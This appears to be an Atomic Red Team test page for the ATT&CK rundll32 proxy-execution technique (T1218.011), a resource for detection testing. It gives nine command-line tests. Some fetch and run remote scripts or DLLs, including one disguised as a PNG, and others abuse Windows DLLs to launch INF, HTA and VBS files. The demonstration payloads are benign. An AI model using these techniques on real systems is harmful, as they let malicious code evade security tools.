# T1218.011 - Rundll32
## [Description from ATT&CK](https://attack.mitre.org/techniques/T1218/011)
<blockquote>Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. [Shared Modules](https://attack.mitre.org/techniques/T1129)), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.

Rundll32.exe can also be used to execute [Control Panel](https://attack.mitre.org/techniques/T1218/002) Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)

Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: <code>rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"</code>  This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)</blockquote>

## Atomic Tests

- [Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject](#atomic-test-1---rundll32-execute-javascript-remote-payload-with-getobject)

- [Atomic Test #2 - Rundll32 execute VBscript command](#atomic-test-2---rundll32-execute-vbscript-command)

- [Atomic Test #3 - Rundll32 advpack.dll Execution](#atomic-test-3---rundll32-advpackdll-execution)

- [Atomic Test #4 - Rundll32 ieadvpack.dll Execution](#atomic-test-4---rundll32-ieadvpackdll-execution)

- [Atomic Test #5 - Rundll32 syssetup.dll Execution](#atomic-test-5---rundll32-syssetupdll-execution)

- [Atomic Test #6 - Rundll32 setupapi.dll Execution](#atomic-test-6---rundll32-setupapidll-execution)

- [Atomic Test #7 - Execution of HTA and VBS Files using Rundll32 and URL.dll](#atomic-test-7---execution-of-hta-and-vbs-files-using-rundll32-and-urldll)

- [Atomic Test #8 - Launches an executable using Rundll32 and pcwutl.dll](#atomic-test-8---launches-an-executable-using-rundll32-and-pcwutldll)

- [Atomic Test #9 - Execution of non-dll using rundll32.exe](#atomic-test-9---execution-of-non-dll-using-rundll32exe)


<br/>

## Atomic Test #1 - Rundll32 execute JavaScript Remote Payload With GetObject
Test execution of a remote script using rundll32.exe. Upon execution notepad.exe will be opened.

**Supported Platforms:** Windows


**auto_generated_guid:** cf3bdb9a-dd11-4b6c-b0d0-9e22b68a71be





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| file_url | location of the payload | Url | https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.011/src/T1218.011.sct|


#### Attack Commands: Run with `command_prompt`! 


```cmd
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:#{file_url}").Exec();
```






<br/>
<br/>

## Atomic Test #2 - Rundll32 execute VBscript command
Test execution of a command using rundll32.exe and VBscript in a similar manner to the JavaScript test.
Technique documented by Hexacorn- http://www.hexacorn.com/blog/2019/10/29/rundll32-with-a-vbscript-protocol/
Upon execution calc.exe will be launched

**Supported Platforms:** Windows


**auto_generated_guid:** 638730e7-7aed-43dc-bf8c-8117f805f5bb





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| command_to_execute | Command for rundll32.exe to execute | String | calc.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
rundll32 vbscript:"\..\mshtml,RunHTMLApplication "+String(CreateObject("WScript.Shell").Run("#{command_to_execute}"),0)
```






<br/>
<br/>

## Atomic Test #3 - Rundll32 advpack.dll Execution
Test execution of a command using rundll32.exe with advpack.dll.
Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Advpack.yml
Upon execution calc.exe will be launched

**Supported Platforms:** Windows


**auto_generated_guid:** d91cae26-7fc1-457b-a854-34c8aad48c89





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| inf_to_execute | Local location of inf file | String | PathToAtomicsFolder&#92;T1218.011&#92;src&#92;T1218.011.inf|


#### Attack Commands: Run with `command_prompt`! 


```cmd
rundll32.exe advpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,
```




#### Dependencies:  Run with `powershell`!
##### Description: Inf file must exist on disk at specified location (#{inf_to_execute})
##### Check Prereq Commands:
```powershell
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
```




<br/>
<br/>

## Atomic Test #4 - Rundll32 ieadvpack.dll Execution
Test execution of a command using rundll32.exe with ieadvpack.dll.
Upon execution calc.exe will be launched

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Ieadvpack.yml

**Supported Platforms:** Windows


**auto_generated_guid:** 5e46a58e-cbf6-45ef-a289-ed7754603df9





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| inf_to_execute | Local location of inf file | String | PathToAtomicsFolder&#92;T1218.011&#92;src&#92;T1218.011.inf|


#### Attack Commands: Run with `command_prompt`! 


```cmd
rundll32.exe ieadvpack.dll,LaunchINFSection #{inf_to_execute},DefaultInstall_SingleUser,1,
```




#### Dependencies:  Run with `powershell`!
##### Description: Inf file must exist on disk at specified location (#{inf_to_execute})
##### Check Prereq Commands:
```powershell
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011.inf" -OutFile "#{inf_to_execute}"
```




<br/>
<br/>

## Atomic Test #5 - Rundll32 syssetup.dll Execution
Test execution of a command using rundll32.exe with syssetup.dll. Upon execution, a window saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Syssetup.yml

**Supported Platforms:** Windows


**auto_generated_guid:** 41fa324a-3946-401e-bbdd-d7991c628125





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| inf_to_execute | Local location of inf file | String | PathToAtomicsFolder&#92;T1218.011&#92;src&#92;T1218.011_DefaultInstall.inf|


#### Attack Commands: Run with `command_prompt`! 


```cmd
rundll32.exe syssetup.dll,SetupInfObjectInstallAction DefaultInstall 128 .\#{inf_to_execute}
```




#### Dependencies:  Run with `powershell`!
##### Description: Inf file must exist on disk at specified location (#{inf_to_execute})
##### Check Prereq Commands:
```powershell
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
```




<br/>
<br/>

## Atomic Test #6 - Rundll32 setupapi.dll Execution
Test execution of a command using rundll32.exe with setupapi.dll. Upon execution, a windows saying "installation failed" will be opened

Reference: https://github.com/LOLBAS-Project/LOLBAS/blob/master/yml/OSLibraries/Setupapi.yml

**Supported Platforms:** Windows


**auto_generated_guid:** 71d771cd-d6b3-4f34-bc76-a63d47a10b19





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| inf_to_execute | Local location of inf file | String | PathToAtomicsFolder&#92;T1218.011&#92;src&#92;T1218.011_DefaultInstall.inf|


#### Attack Commands: Run with `command_prompt`! 


```cmd
rundll32.exe setupapi.dll,InstallHinfSection DefaultInstall 128 .\#{inf_to_execute}
```




#### Dependencies:  Run with `powershell`!
##### Description: Inf file must exist on disk at specified location (#{inf_to_execute})
##### Check Prereq Commands:
```powershell
if (Test-Path #{inf_to_execute}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
New-Item -Type Directory (split-path #{inf_to_execute}) -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1218.011/src/T1218.011_DefaultInstall.inf" -OutFile "#{inf_to_execute}"
```




<br/>
<br/>

## Atomic Test #7 - Execution of HTA and VBS Files using Rundll32 and URL.dll
IcedID uses this TTP as follows:
  rundll32.exe url.dll,OpenURL %PUBLIC%\index.hta
Trickbot uses this TTP as follows:
  rundll32.exe URL.dll,FileProtocolHandler C:\\..\\Detail\\akteullen.vbs

In this atomic, the sample hta file opens the calculator and the vbs file shows a message dialog with "rundll32 spawned wscript"

**Supported Platforms:** Windows


**auto_generated_guid:** 22cfde89-befe-4e15-9753-47306b37a6e3






#### Attack Commands: Run with `command_prompt`! 


```cmd
rundll32.exe url.dll,OpenURL PathToAtomicsFolder\T1218.011\src\index.hta
rundll32.exe URL.dll,FileProtocolHandler PathToAtomicsFolder\T1218.011\src\akteullen.vbs
```






<br/>
<br/>

## Atomic Test #8 - Launches an executable using Rundll32 and pcwutl.dll
Executes the LaunchApplication function in pcwutl.dll to proxy execution of an executable.

**Supported Platforms:** Windows


**auto_generated_guid:** 9f5d081a-ee5a-42f9-a04e-b7bdc487e676





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| exe_to_launch | Path of the executable to launch | Path | %windir%&#92;System32&#92;notepad.exe|


#### Attack Commands: Run with `command_prompt`! 


```cmd
rundll32.exe pcwutl.dll,LaunchApplication #{exe_to_launch}
```






<br/>
<br/>

## Atomic Test #9 - Execution of non-dll using rundll32.exe
Rundll32.exe running non-dll

**Supported Platforms:** Windows


**auto_generated_guid:** ae3a8605-b26e-457c-b6b3-2702fd335bac





#### Inputs:
| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| input_url | Url to download the DLL | Url | https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1047/bin/calc.dll|
| input_file | Non-dll file | String | C:&#92;Users&#92;$env:username&#92;Downloads&#92;calc.png|


#### Attack Commands: Run with `powershell`! 


```powershell
rundll32.exe #{input_file}, StartW
```




#### Dependencies:  Run with `powershell`!
##### Description: Non-dll file must exist on disk at specified location
##### Check Prereq Commands:
```powershell
if (Test-Path #{input_file}) {exit 0} else {exit 1}
```
##### Get Prereq Commands:
```powershell
Invoke-WebRequest "#{input_url}" -OutFile "#{input_file}"
```




<br/>
